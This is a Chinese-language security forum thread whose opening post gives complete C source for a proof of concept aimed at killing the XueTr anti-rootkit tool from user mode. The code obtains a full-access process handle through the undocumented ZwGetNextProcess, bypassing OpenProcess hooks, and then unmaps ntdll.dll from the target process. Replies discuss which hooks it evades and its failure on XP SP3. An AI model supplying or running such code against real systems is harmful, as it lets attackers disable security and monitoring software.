找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 8103|回复: 6

利用FxOpenProcess做了个Ring3杀XueTr的POC

 火.. [复制链接]

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-12-12 08:58:19 | 显示全部楼层 |阅读模式
标题只是个噱头,主要是把FxOpenProcess转成了C代码,并作了适当精简。
本代码稍加修改可以编译成64位程序,不过觉得这么做没有意义而已。
在MiniFxOpenProcess中的bInheritHandle参数没有意义,加上只是为了和OpenProcess函数的形参兼容。
本POC仅支持Vista/Win7。


//Kill XueTr in Ring 3
//Author: Tesla.Angela
//Updata: 2010-12-12

#include <stdio.h>
#include <windows.h>

typedef long (__stdcall *ZWGETNEXTPROCESS)(HANDLE,long,long,long,PHANDLE);
typedef long (__stdcall *ZWUNMAPVIEWOFSECTION)(HANDLE,PVOID);
typedef ULONG (__stdcall *GETPROCESSID)(HANDLE Process);

HANDLE MiniFxOpenProcess(ULONG dwDesiredAccess, ULONG bInheritHandle, ULONG dwProcessId)
{
    ZWGETNEXTPROCESS ZwGetNextProcess=(ZWGETNEXTPROCESS)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwGetNextProcess");
    GETPROCESSID GetProcessId=(GETPROCESSID)GetProcAddress(GetModuleHandleW(L"kernel32.dll"),"GetProcessId");
    HANDLE hCurrent=0, hNext=0;ULONG dwPid=0;long Status=0;
    if((PVOID)ZwGetNextProcess == NULL || (PVOID)GetProcessId == NULL) return (HANDLE)0;
    Status = ZwGetNextProcess(0, dwDesiredAccess, 0, 0, &hNext);
    if (Status >= 0)
    {
        do{
            hCurrent = hNext;
            dwPid = GetProcessId(hCurrent);
            if (dwPid==dwProcessId) return hCurrent;
            Status = ZwGetNextProcess(hCurrent, dwDesiredAccess, 0, 0, &hNext);
            CloseHandle(hCurrent);
        }while(hCurrent != 0);
    }
    return (HANDLE)0;
}

int main()
{
    ULONG pid=0;HANDLE hProc=0;
    printf("Input PID: ");scanf("%ld",&pid);
    hProc=MiniFxOpenProcess(PROCESS_ALL_ACCESS,0,pid);printf("ProcessHandle: %ld\n",hProc);
    HMODULE hNtdll=GetModuleHandleW(L"ntdll.dll");
    ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection=(ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtdll,"ZwUnmapViewOfSection");
    if(hProc!=0)
        ZwUnmapViewOfSection(hProc,(PVOID)hNtdll);
    return 0;
}







857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
 楼主| 发表于 2010-12-12 09:02:04 | 显示全部楼层
另外,无意中发现了一个极好的在线代码高亮站点:
http://fayaa.com/code/
本代码就是在这个网站上进行高亮的。

0

主题

3

回帖

0

精华

初来乍到

积分
31
发表于 2010-12-12 15:35:18 | 显示全部楼层
没测试,理论上可以绕过简单的inline hook。

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
 楼主| 发表于 2010-12-12 19:05:50 | 显示全部楼层
scm 发表于 2010-12-12 15:35
没测试,理论上可以绕过简单的inline hook。

请问什么算是“简单的inline hook”?

0

主题

62

回帖

0

精华

银牌会员

积分
341
发表于 2010-12-14 07:59:21 | 显示全部楼层
在xp sp3 下ZwGetNextProcess未导出 不能成功

0

主题

3

回帖

0

精华

初来乍到

积分
31
发表于 2010-12-17 08:38:32 | 显示全部楼层
Tesla.Angela 发表于 2010-12-12 19:05
请问什么算是“简单的inline hook”?

就是只 inline ntopenproces 和 NtDuplicateObject 的进程。

0

主题

16

回帖

0

精华

初来乍到

积分
9
发表于 2011-12-4 22:14:23 | 显示全部楼层
先看再说:)
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表